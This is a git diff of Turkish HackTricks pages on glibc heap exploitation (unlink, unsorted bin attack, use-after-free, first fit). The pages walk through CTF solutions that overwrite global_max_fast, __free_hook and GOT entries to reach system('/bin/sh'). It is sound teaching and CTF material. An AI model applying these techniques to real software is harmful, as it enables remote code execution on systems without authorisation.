* CTF örneği: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Bu örnekte yığın yerine malloc edilmiş adreslerin bir dizisi bulunmaktadır. Unlink saldırısı, bir parça buraya tahsis edebilmek için gerçekleştirilir, bu nedenle malloc edilmiş adreslerin dizisinin işaretçilerini kontrol etmek mümkün olur. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeyi sağlayan başka bir işlevsellik vardır, bu da adresleri GOT'a işaret etmeye, işlev adreslerini değiştirmeye ve sızıntılar ve RCE elde etmeye olanak tanır.
* Bu örnekte yığın yerine malloc ile oluşturulmuş adreslerin bir dizisi bulunmaktadır. Unlink saldırısı, bir parça buraya tahsis edebilmek için gerçekleştirilir, bu nedenle malloc ile oluşturulmuş adreslerin işaretçilerini kontrol etmek mümkün olur. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeyi sağlayan başka bir işlevsellik vardır, bu da adresleri GOT'a işaret etmeye, işlev adreslerini değiştirmeye ve sızıntılar ve RCE elde etmeye olanak tanır.
* Başka bir CTF örneği: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Önceki örnekte olduğu gibi, tahsis edilen adreslerin bir dizisi bulunmaktadır. Bir unlink saldırısı gerçekleştirilerek ilk tahsis edilen adresin dizinin başlangıcından birkaç konum öncesine işaret etmesi mümkün olur ve ardından bu tahsis edilen adres yeni konumda üzerine yazılır. Bu nedenle, diğer tahsislerin işaretçileri GOT'a işaret etmek üzere üzerine yazılabilir, libc sızıntısı almak için yazdırılabilir ve ardından atoi GOT'u bir gadget adresine yazmak için atoi GOT üzerine yazılabilir.
* Unlink saldırısına oldukça benzer bir zafiyeti istismar eden özel malloc ve free işlevleriyle CTF örneği: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Unlink saldırısına oldukça benzer bir zayıflığı istismar eden özel malloc ve free işlevleri ile CTF örneği: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Özel malloc'un FD ve BK işaretçilerini kontrol etmeyi sağlayan bir taşma vardır ve bu (özel) serbest bırakılacak. Dahası, yığının exec biti vardır, bu nedenle bir yığın adresi sızdırmak ve GOT'tan bir işlevi bir yığın parçasına bir kabuk kodu ile işaret etmek mümkündür.
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,61 +1,62 @@
# Sıralanmamış Bin Saldırısı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Sıralanmamış bir liste, bir parçanın `bk` adresine `sıralanmamış parçalar (av)` adresini yazabilmektedir. Bu nedenle, bir saldırgan bir parçanın içindeki `bk` işaretçisinin adresini değiştirebilirse, bu adresi rastgele bir adrese yazabilir ve bu, bir Glibc adresini sızdırmak veya bazı savunmaları atlamak için faydalı olabilir.
Sıralanmamış bir liste, bir parçanın `bk` adresindeki `sıralanmamış_parçalar (av)` adresini yazabilmektedir. Bu nedenle, bir saldırgan bir parçanın içindeki `bk` işaretçisinin adresini değiştirebilirse, bu adresi **herhangi bir adrese yazabilir** ve bu da Glibc adreslerini sızdırmaya veya bazı savunmaları atlamaya yardımcı olabilir.
Bu saldırı temelde, bir rastgele adreste büyük bir sayı **ayarlamayı** sağlar. Bu büyük sayı, bir heap adresi veya bir Glibc adresi olabilir. Tipik bir hedef, **`global_max_fast`**'ın daha büyük boyutlarda hızlı bin parçaları oluşturmasına izin vermek (ve sıralanmamış bir bin saldırısından hızlı bir bin saldırısına geçmek).
Bu saldırı temelde **bir büyük sayıyı bir keyfi adrese ayarlamayı** sağlar. Bu büyük sayı bir adres olabilir, bu adres bir heap adresi veya bir Glibc adresi olabilir. Tipik bir hedef, **`global_max_fast`**'ın daha büyük boyutlarda hızlı parça parçaları oluşturmasına izin vermek (ve sıralanmamış bir bin saldırısından hızlı bir bin saldırısına geçmek).
{% hint style="success" %}
[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) adresinde sağlanan örneğe bakarak ve 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanarak (Tcache'i önlemek için) **günümüzde** hata **`malloc(): sıralanmamış çift bağlantılı liste bozuldu`** tetiklenir.
[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) adresinde sağlanan örneğe bakıldığında ve 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanıldığında (Tcache'i önlemek için) **günümüzde** hata **`malloc(): sıralanmamış çift bağlantılı liste bozulmuş`** tetiklenmektedir.
Bu nedenle, bu sıralanmamış bin saldırısı artık (diğer kontroller arasında) çift bağlantılı listeyi düzeltme yeteneğine de sahip olmalıdır, böylece bu, `victim->bk->fd == victim` veya `victim->fd == av (arena)` olmalıdır, yani yazmak istediğimiz adresin, sahte parçanın `fd` konumunda olması ve sahte parçanın `fd`nin arenaya işaret etmesi gerekmektedir.
Bu nedenle, bu sıralanmamış bin saldırısı artık (diğer kontroller arasında) çift bağlantılı listeyi düzeltme yeteneğine de sahip olmalıdır, böylece bu, `victim->bk->fd == victim` veya `victim->fd == av (arena)` olmamalıdır, bu da yazmak istediğimiz adresin `fd` konumunda sahte parçanın adresini ve sahte parçanın `fd`'sinin arenaya işaret etmesi gerektiği anlamına gelir.
{% endhint %}
{% hint style="danger" %}
Bu saldırı sıralanmamış binleri bozar (bu nedenle küçük ve büyükleri de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsis yapmalıyız veya program çöker.**
Bu saldırı sıralanmamış bin'i (dolayısıyla küçük ve büyük olanı da) bozar. Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsis yapmalıyız veya program çökecektir.**
Bu durumda **`global_max_fast`**'ın üzerine yazılması bu durumda yardımcı olabilir, hızlı binin tüm diğer tahsislerle ilgilenebileceğine güvenerek, saldırı tamamlandığında.
**`global_max_fast`**'ın üzerine yazma, hızlı binin tüm diğer tahsislerle ilgilenebileceğine güvenmek bu durumda yardımcı olabilir ve saldırı tamamlandığında bayrağı almayı mümkün kılar.
{% endhint %}
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) tarafından sağlanan kod bunu çok iyi açıklar, ancak malloc'ları Tcache'e sona ermeyecek kadar büyük bir bellek tahsis etmek için değiştirirseniz, önce bahsedilen hata ortaya çıkar ve bu teknik engellenir: **`malloc(): sıralanmamış çift bağlantılı liste bozuldu`**
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) tarafından sağlanan kod bunu çok iyi açıklar, ancak malloc'ları Tcache'e sona ermemesi için yeterince büyük bellek ayırmak için değiştirirseniz, önce bahsedilen hata ortaya çıkar ve bu tekniği engeller: **`malloc(): sıralanmamış çift bağlantılı liste bozulmuş`**
## Sıralanmamış Bin Bilgi Sızdırma Saldırısı
Bu aslında çok temel bir kavramdır. Sıralanmamış binlerdeki parçaların işaretçilere sahip olacağı. Sıralanmamış bindeki ilk parça aslında **`fd`** ve **`bk`** bağlantılarını **ana arenanın bir kısmına (Glibc)** işaret edecektir.\
Bu nedenle, bir parçayı sıralanmamış bir bine koyabilir ve onu okuyabilirsiniz (kullanımdan sonra serbest bırakma) veya **en azından işaretçilerden birini üzerine yazmadan tekrar tahsis edebilir** ve ardından **okuyabilirsiniz**, bir **Glibc bilgi sızıntısı** elde edebilirsiniz.
Bu aslında çok temel bir kavramdır. Sıralanmamış bindeki parçaların işaretçilere sahip olacağı. Sıralanmamış bindeki ilk parça aslında **`fd`** ve **`bk`** bağlantılarını **ana arenanın bir kısmına (Glibc)** işaret edecektir.\
Bu nedenle, bir parçayı sıralanmamış bir bine yerleştirebilir ve onu okuyabilirsiniz (kullanımdan sonra serbest bırakın) veya **en azından işaretçilerden birini üzerine yazmadan tekrar tahsis edebilir ve ardından** okuyabilirsiniz, bir **Glibc bilgi sızıntısı** elde edebilirsiniz.
Bu yazıda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), 4 parçalı bir yapıyı (A, B, C ve D - D yalnızca üst parçayla birleşmeyi önlemek için) kötüye kullanmaktı, böylece B'de bir null bayt taşması kullanılarak C'nin B'nin kullanılmadığını belirtmesi sağlandı. Ayrıca, B'de `prev_size` verisi değiştirildi, böylece boyut, B'nin boyutu yerine A+B oldu.\
Bu yazıda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), 4 parçalı bir yapıyı (A, B, C ve D - D yalnızca üst parçayla birleşmeyi önlemek için) kötüye kullanmaktı, böylece B'de bir null bayt taşması kullanılarak C'nin B'nin kullanılmadığını belirtmesi sağlandı. Ayrıca, B'de `prev_size` verisi değiştirildi, böylece boyut B'nin boyutu olmak yerine A+B oldu.\
Ardından C serbest bırakıldı ve A+B ile birleştirildi (ancak B hala kullanımda idi). A boyutunda yeni bir parça tahsis edildi ve ardından sızdırılan libc adresleri B'ye yazıldı ve oradan sızdırıldı.
## Referanslar ve Diğer Örnekler
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
* Amaç, bir global değişkeni 4869'dan büyük bir değerle üzerine yazmaktır, böylece bayrağı almak mümkün olur ve PIE etkin değildir.
* Rastgele boyutlarda parçalar oluşturulabilir ve istenilen boyutta bir bellek taşması vardır.
* Global bir değişkenin değeri 4869'dan büyük bir değerle üzerine yazılması hedeflenir, bu sayede bayrağı almak mümkün olur ve PIE etkin değildir.
* Keyfi boyutlarda parçalar oluşturulabilir ve istenen boyutta bir heap taşması vardır.
* Saldırı, 3 parça oluşturarak başlar: taşmayı kötüye kullanmak için chunk0, taşmayla karşılaşacak chunk1 ve önceki parçaların birleşmesini önlemek için chunk2.
* Ardından, chunk1 serbest bırakılır ve chunk0 taşar, böylece chunk1'in `bk` işaretçisi şuna işaret eder: `bk = magic - 0x10`
* Ardından, chunk1 ile aynı boyutta chunk3 tahsis edilir, bu da sıralanmamış bin saldırısını tetikler ve global değişkenin değerini değiştirir, bayrağı almayı mümkün kılar.
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
* Birleştirme işlevi, geçilen her iki dizin de aynı olduğunda onu yeniden boyutlandıracağı ve ardından serbest bırakacağı ancak o serbest bırakılan bölgeye bir işaretçi döndüreceği için savunmasızdır.
* Birleştirme işlevi, geçilen her iki dizin de aynı olduğunda onu yeniden boyutlandıracağı ve ardından serbest bırakacağı ancak kullanılan bir bölgeye işaret eden bir işaretçi döndüreceği için savunmasızdır.
* Bu nedenle, **2 parça oluşturulur**: **chunk0** kendisiyle birleştirilecek ve üst parçayla birleşmesini önlemek için chunk1. Ardından, **birleştirme işlevi chunk0 ile iki kez çağrılır**, bu da kullanımdan sonra serbest bırakma hatasına neden olur.
* Ardından, **`view`** işlevi, kullanımdan sonra serbest bırakma parçasının dizini olan 2 ile çağrılır, bu da bir libc adresi **sızdırır**.
* Binary, sadece **`global_max_fast`**'ten büyük malloc boyutları yapmasına izin veren korumalara sahip olduğundan, hızlı bin kullanılmaz, bu nedenle sıralanmamış bin saldırısı, global değişken `global_max_fast`'ın üzerine yazmak için kullanılacaktır.
* Ardından, kullanımdan sonra serbest bırakma işaretçisi olan dizin 2 ile edit işlevi çağrılabilir ve `bk` işaretçisinin `p64(global_max_fast-0x10)`'a işaret etmesi sağlanabilir. Ardından, yeni bir parça oluşturulduğunda önceki tehlikeye atıfta bulunan serbest bırakma adresi (0x20) kullanılacak ve **sıralanmamış bin saldırısı tetiklenecek**, `global_max_fast`'ı çok büyük bir değerle üzerine yazarak artık hızlı binlerde parçalar oluşturulabilir.
* Ardından, **`view`** işlevi kullanımdan sonra serbest bırakılan parçanın dizini olan 2 ile çağrılır, bu da bir libc adresi sızdırır.
* Binary, sadece **`global_max_fast`**'ten büyük boyutlarda malloc yapmasına izin veren korumalara sahip olduğundan hiçbir fastbin kullanılmaz, bu nedenle sıralanmamış bin saldırısı, global değişken `global_max_fast`'ın üzerine yazmak için kullanılacaktır.
* Ardından, kullanımdan sonra serbest bırakılan adresi (0x20) etkileyen `bk` işaretçisini `p64(global_max_fast-0x10)`'a işaret edecek şekilde indeks 2 (kullanımdan sonra serbest bırakılan işaretçi) ile edit işlevi çağrılabilir ve ardından yeni bir parça oluşturulduğunda **sıralanmamış bin saldırısı tetiklenir**, `global_max_fast`'ı çok büyük bir değerle üzerine yazarak artık hızlı parçalar oluşturulabilir.
* Şimdi bir **hızlı bin saldırısı** gerçekleştirilir:
* İlk olarak, **`__free_hook`** konumunda **200 boyutunda hızlı parçalarla çalışılabileceği keşfedilir**:
* <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
@ -66,14 +67,14 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
* Eğer bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini üzerine yazmak mümkün olacaktır
* Bunun için, `0xfc` boyutunda yeni bir parça oluşturulur ve birleştirilmiş fonksiyon bu işaretçiyle iki kez çağrılır, bu şekilde hızlı binde boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır.
* Ardından, bu parçada **`fd`** adresini önceki **`__free_hook`** fonksiyonuna işaret etmek için düzenleme fonksiyonu çağrılır.
* Daha sonra, hızlı bindeki önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde **`system`** fonksiyonunun adresiyle üzerine yazılmış bir hızlı bin parçası alınır.
* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılarak silme fonksiyonu çağrılır, **`__free_hook`** fonksiyonunu tetikleyerek `/bin/sh\x00` parametresiyle `system` fonksiyonuna işaret etmesi sağlanır.
* Bu konumda 0x200 boyutunda hızlı bir parça elde edebilirsek, yürütülecek bir işlev işaretçisini üzerine yazmak mümkün olacaktır
* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş işlev bu işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçada boyutu `0xfc*2 = 0x1f8` olan bir serbest bırakılmış parçanın işaretçisine ulaşılır.
* Ardından, bu parçada **`fd`** adresini önceki **`__free_hook`** işlevine işaret etmek için düzenleme işlevi çağrılır.
* Daha sonra, hızlı parçadan önceki gereksiz parçayı almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`** içinde **`system`** işlevine işaret eden bir hızlı parça parçası alınır.
* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılarak silme işlevi çağrılır, **`__free_hook`** işlevini tetikleyerek `/bin/sh\x00` parametresiyle işaret eden sistem işlevine işaret eder.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Unsorted binde parçaları birleştirmek için 1B taşma kullanarak libc bilgi sızdırma ve ardından malloc hook'u bir gadget adresiyle üzerine yazmak için hızlı bin saldırısını kötüye kullanmanın başka bir örneği
* Unsorted binde parçaları birleştirmek ve bir libc bilgi sızıntısı elde etmek ve ardından malloc kancasını bir tek araç adresiyle üzerine yazmak için hızlı parça saldırısını kullanma başka bir örneği
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Sadece `0x100` boyutundan büyük parçalar tahsis edebiliriz.
* Yalnızca `0x100`'den büyük boyutta parçalar tahsis edebiliriz.
* Unsorted Bin saldırısı kullanarak `global_max_fast` üzerine yazma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 biti değiştirmemiz gerekiyor, ancak 16 biti değiştirmemiz gerekiyor).
* Global bir parça dizisini değiştirmek için Hızlı Bin saldırısı. Bu, GOT'u değiştirmeye ve bazı fonksiyonları `system`'e işaret etmeye olanak tanıyan bir keyfi okuma/yazma ilkesi sağlar.
* Global bir parça dizisini değiştirmek için Hızlı Parça saldırısı. Bu, GOT'yi değiştirmeye ve bazı işlevleri `system`'e işaret etmeye olanak tanıyan bir keyfi okuma/yazma ilkesi sağlar.

View file

@ -1,44 +1,46 @@
# Kullanımdan Sonra Ücretsiz
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Adından da anlaşılacağı gibi, bu zafiyet, bir programın bir nesne için heap'te bir alan **ayırdığı**, oraya **bazı bilgiler yazdığı**, artık gerekli olmadığı için onu **serbest bıraktığı** ve ardından **tekrar eriştiğinde** meydana gelir.
Adından da anlaşılacağı gibi, bu zafiyet, bir programın bir nesne için heap'te bir alan **ayırdığı**, oraya **bazı bilgiler yazdığı**, artık gerekli olmadığı için **serbest bıraktığı** ve daha sonra **tekrar eriştiğinde** meydana gelir.
Buradaki sorun, bir **serbest bırakılan belleğe erişildiğinde** (burada **hata olmayacak**) yasadışı olmamasıdır. Dolayısıyla, program (veya saldırgan) **serbest bırakılan belleği ayırmayı ve keyfi veri depolamayı başarırsa**, serbest bırakılan belleğe başlangıç işaretçisinden erişildiğinde, bu verinin üzerine yazılmış olması nedeniyle **orijinalde depolanan verinin hassasiyetine bağlı olarak bir zafiyet oluşacaktır** (eğer çağrılacak bir işlevin işaretçisi ise, saldırgan onu kontrol edebilir).
Buradaki sorun, bir **serbest bırakılan belleğe erişildiğinde** (hata **oluşmayacak**) yasadışı olmamasıdır. Dolayısıyla, program (veya saldırgan) **serbest bırakılan belleği ayırmayı ve keyfi verileri depolamayı başarırsa**, serbest bırakılan belleğe başlangıç işaretçisinden erişildiğinde, bu verilerin üzerine yazıldığı bir **zafiyet oluşturabilir ki bu, orijinal olarak depolanan verilerin hassasiyetine bağlı olacaktır** (eğer çağrılacak bir işlevin işaretçisiyse, saldırgan onu kontrol edebilir).
### İlk Uygun Saldırı
İlk uygun saldırı, bazı bellek tahsis edicilerin, örneğin glibc'de, serbest bırakılan belleği nasıl yönettiğini hedefler. Bir bellek bloğunu serbest bıraktığınızda, bu blok bir liste eklenir ve yeni bellek istekleri bu listeden sona doğru çeker. Saldırganlar, **hangi bellek bloklarının yeniden kullanılacağını manipüle etmek için bu davranışı kullanabilir**, potansiyel olarak bunlar üzerinde kontrol kazanabilir. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra ücretsiz" sorunlarına yol açabilir, böylece bir güvenlik riski oluşturabilir.\
Daha fazla bilgi için:
İlk uygun saldırı, bazı bellek tahsis edicilerin, örneğin glibc'de, serbest bırakılan belleği nasıl yönettiğini hedefler. Bir bellek bloğunu serbest bıraktığınızda, bu blok bir liste eklenir ve yeni bellek istekleri bu listeden sona doğru çeker. Saldırganlar, **hangi bellek bloklarının yeniden kullanılacağını manipüle etmek için bu davranışı kullanabilir ve bunları kontrol altına alabilirler**. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra ücretsiz" sorunlarına yol açabilir, böylece bir güvenlik riski oluşturabilir.\
Daha fazla bilgi için şuraya bakın:
{% content-ref url="first-fit.md" %}
[first-fit.md](first-fit.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# İlk Uygun
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
